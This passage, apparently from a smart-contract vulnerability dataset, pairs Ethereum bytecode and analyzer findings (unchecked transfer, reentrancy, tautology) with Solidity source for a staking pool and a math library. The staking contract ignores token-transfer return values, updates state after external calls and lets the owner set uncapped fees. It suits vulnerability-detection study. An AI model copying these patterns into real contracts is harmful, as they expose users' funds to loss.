08083540402835291602001916113d8565b820191906000526020600020905b8154815290600101906020018083116113bb57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515611555576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b80600360026101000a81548160ff02191690831515021790555050565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff1615151415156116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515611870576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b806006908051906020019061188692919061258f565b5050565b60045481565b600360019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360026101000a81548160ff0219169083151502179055505050565b600360009054906101000a900460ff1681565b611a0661260f565b611a0e61260f565b611a1661260f565b611a1e61260f565b611a2661260f565b6000611a3061260f565b611a3861260f565b611a4061260f565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611b338c61228f565b9850611b3e8b61228f565b9750611b498a61228f565b9650611b896040805190810160405280600181526020017f200000000000000000000000000000000000000000000000000000000000000081525061228f565b95508c60028190555060001515600360019054906101000a900460ff161515141515611c43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f54686520636f6e747261637420686173206265656e20696e697469616c697a6581526020017f640000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60018d10151515611cbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506172616d20646174614e756d62657220736d616c6c6572207468616e20310081525060200191505060405180910390fd5b611ccf868a6122bd90919063ffffffff16565b60018e03141515611d48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f506172616d206c696e6b53657420696e76616c6964000000000000000000000081525060200191505060405180910390fd5b611d5b86896122bd90919063ffffffff16565b60018e03141515611dd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506172616d20656e6372797074696f6e5479706553657420696e76616c69640081525060200191505060405180910390fd5b611de786886122bd90919063ffffffff16565b60018e03141515611e60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f506172616d206861736856616c756553657420696e76616c696400000000000081525060200191505060405180910390fd5b6001600360016101000a81548160ff021916908315150217905550611e94602060405190810160405280600081525061228f565b9450600093505b8c8410156120cc57611eb6868a61233490919063ffffffff16565b9250611ecb868961233490919063ffffffff16565b9150611ee0868861233490919063ffffffff16565b9050611eeb8261234e565b151515611f86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f506172616d20656e6372797074696f6e5479706553657420646174612065727281526020017f6f7200000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611f8f8161234e565b151515612004576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f506172616d206861736856616c75655365742064617461206572726f7200000081525060200191505060405180910390fd5b600160606040519081016040528061201b8661235e565b81526020016120298561235e565b81526020016120378461235e565b815250908060018154018082558091505090600182039060005260206000209060030201600090919290919091506000820151816000019080519060200190612081929190612629565b50602082015181600101908051906020019061209e929190612629565b5060408201518160020190805190602001906120bb929190612629565b505050508380600101945050611e9b565b50505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515612275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b806005908051906020019061228b92919061258f565b5050565b61229761260f565b600060208301905060408051908101604052808451815260200182815250915050919050565b60008082600001516122e185600001518660200151866000015187602001516123c0565b0190505b83600001518460200151018111151561232d57818060010192505082600001516123258560200151830386600001510383866000015187602001516123c0565b0190506122e5565b5092915050565b61233c61260f565b6123478383836124a6565b5092915050565b6000808260000151149050919050565b606080600083600001516040519080825280601f01601f19166020018201604052801561239a5781602001602082028038833980820191505090505b5091506020820190506123b68185602001518660000151612544565b8192505050919050565b60008060008060008060008060008b97508c8b1115156124905760208b11151561244a5760018b60200360080260020a03196001029550858a511694508a8d8d010393508588511692505b8460001916836000191614151561244257838810151561242f578c8c019850612496565b878060010198505085885116925061240b565b879850612496565b8a8a209150600096505b8a8d038711151561248f578a8820905080600019168260001916141561247c57879850612496565b6001880197508680600101975050612454565b5b8c8c0198505b5050505050505050949350505050565b6124ae61260f565b60006124cc85600001518660200151866000015187602001516123c0565b9050846020015183602001818152505084602001518103836000018181525050846000015185602001510181141561250e576000856000018181525050612539565b8360000151836000015101856000018181510391508181525050836000015181018560200181815250505b829150509392505050565b60005b60208210151561256c5782518452602084019350602083019250602082039150612547565b6001826020036101000a0390508019835116818551168181178652505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106125d057805160ff19168380011785556125fe565b828001600101855582156125fe579182015b828111156125fd5782518255916020019190600101906125e2565b5b50905061260b91906126a9565b5090565b604080519081016040528060008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061266a57805160ff1916838001178555612698565b82800160010185558215612698579182015b8281111561269757825182559160200191906001019061267c565b5b5090506126a591906126a9565b5090565b6126cb91905b808211156126c75760008160009055506001016126af565b5090565b905600a165627a7a72305820d7c5c0c26e2da3676b7985291fb7ce1edfe4a8d212389727da7ec91fc7963fdd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,065 |
0x852935494da7606e7225af0abecbdfb70d3cac38
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 6000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636a395ccb116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b8063b52b50e4116100d3578063b52b50e4146103aa578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636a395ccb146103485780637b0a47ee1461037e5780639d76ea5814610386576101c4565b8063455ab53c11610166578063583d42fd11610140578063583d42fd146102ec5780635ef057be146103125780636270cd181461031a5780636654ffdf14610340576101c4565b8063455ab53c146102aa5780634908e386146102b257806352cd0d40146102cf576101c4565b80632f278fe8116101a25780632f278fe814610258578063308feec31461026257806337c5785a1461026a578063384431771461028d576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631e94723f14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b6102466004803603602081101561023657600080fd5b50356001600160a01b031661053f565b60408051918252519081900360200190f35b6102606105f8565b005b610246610603565b6101e66004803603604081101561028057600080fd5b5080359060200135610615565b6101e6600480360360208110156102a357600080fd5b5035610639565b6101e661065a565b6101e6600480360360208110156102c857600080fd5b5035610663565b610260600480360360208110156102e557600080fd5b5035610684565b6102466004803603602081101561030257600080fd5b50356001600160a01b0316610989565b61024661099b565b6102466004803603602081101561033057600080fd5b50356001600160a01b03166109a1565b6102466109b3565b6102606004803603606081101561035e57600080fd5b506001600160a01b038135811691602081013590911690604001356109b9565b610246610a93565b61038e610a99565b604080516001600160a01b039092168252519081900360200190f35b610260600480360360208110156103c057600080fd5b5035610aa8565b610246610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102466004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610246610dd6565b610246610ddc565b610246610de2565b6102606004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102466004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b61038e610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d56027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b600061054c600a83610f30565b610558575060006105f3565b6001600160a01b0382166000908152600c602052604090205461057d575060006105f3565b6001600160a01b0382166000908152600e60205260408120546105a1904290610f4e565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926105ed91612710916105e79190829088906105e1908990610f60565b90610f60565b90610f80565b93505050505b919050565b61060133610f95565b565b600061060f600a611129565b90505b90565b600080546001600160a01b0316331461062d57600080fd5b60049290925560055590565b600080546001600160a01b0316331461065157600080fd5b60089190915590565b60095460ff1681565b600080546001600160a01b0316331461067b57600080fd5b60029190915590565b336000908152600c60205260409020548111156106e8576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d6020526040902054610706904290610f4e565b116107425760405162461bcd60e51b815260040180806020018281038252603b81526020018061129a603b913960400191505060405180910390fd5b61074b33610f95565b60006107686127106105e760055485610f6090919063ffffffff16565b905060006107768383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156107d257600080fd5b505af11580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b505161084f576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156108a357600080fd5b505af11580156108b7573d6000803e3d6000fd5b505050506040513d60208110156108cd57600080fd5b5051610920576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c602052604090205461093a9084610f4e565b336000818152600c602052604090209190915561095990600a90610f30565b80156109725750336000908152600c6020526040902054155b1561098457610982600a33611134565b505b505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b031633146109d057600080fd5b6001546001600160a01b0384811691161415610a0b576109ee610de2565b8111156109fa57600080fd5b600754610a079082611149565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b505050506040513d6020811015610a8c57600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60095460ff161515600114610b04576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610b59576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610bb357600080fd5b505af1158015610bc7573d6000803e3d6000fd5b505050506040513d6020811015610bdd57600080fd5b5051610c30576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c3933610f95565b6000610c566127106105e760045485610f6090919063ffffffff16565b90506000610c648383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610cc057600080fd5b505af1158015610cd4573d6000803e3d6000fd5b505050506040513d6020811015610cea57600080fd5b5051610d3d576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610d579082611149565b336000818152600c6020526040902091909155610d7690600a90610f30565b61098457610d85600a33611158565b50336000908152600d60205260409020429055505050565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df757506000610612565b6000610e10600754600854610f4e90919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112fc6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b6000610f45836001600160a01b03841661116d565b90505b92915050565b600082821115610f5a57fe5b50900390565b6000828202831580610f7a575082848281610f7757fe5b04145b610f4557fe5b600080828481610f8c57fe5b04949350505050565b6000610fa08261053f565b9050801561110c576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050506040513d602081101561102857600080fd5b505161107b576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f602052604090205461109e9082611149565b6001600160a01b0383166000908152600f60205260409020556007546110c49082611149565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b6000610f4882611185565b6000610f45836001600160a01b038416611189565b600082820183811015610f4557fe5b6000610f45836001600160a01b03841661124f565b60009081526001919091016020526040902054151590565b5490565b6000818152600183016020526040812054801561124557835460001980830191908101906000908790839081106111bc57fe5b90600052602060002001549050808760000184815481106111d957fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120957fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f48565b6000915050610f48565b600061125b838361116d565b61129157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f48565b506000610f4856fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220b86bdac90c72019060fcff1677dfcee4f3fcd1e1cdcb6e7c72b0b2d1c54e342864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,066 |
0x92dC9b16be52De059279916c1eF810877f85F960
|
pragma solidity 0.6.7;
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
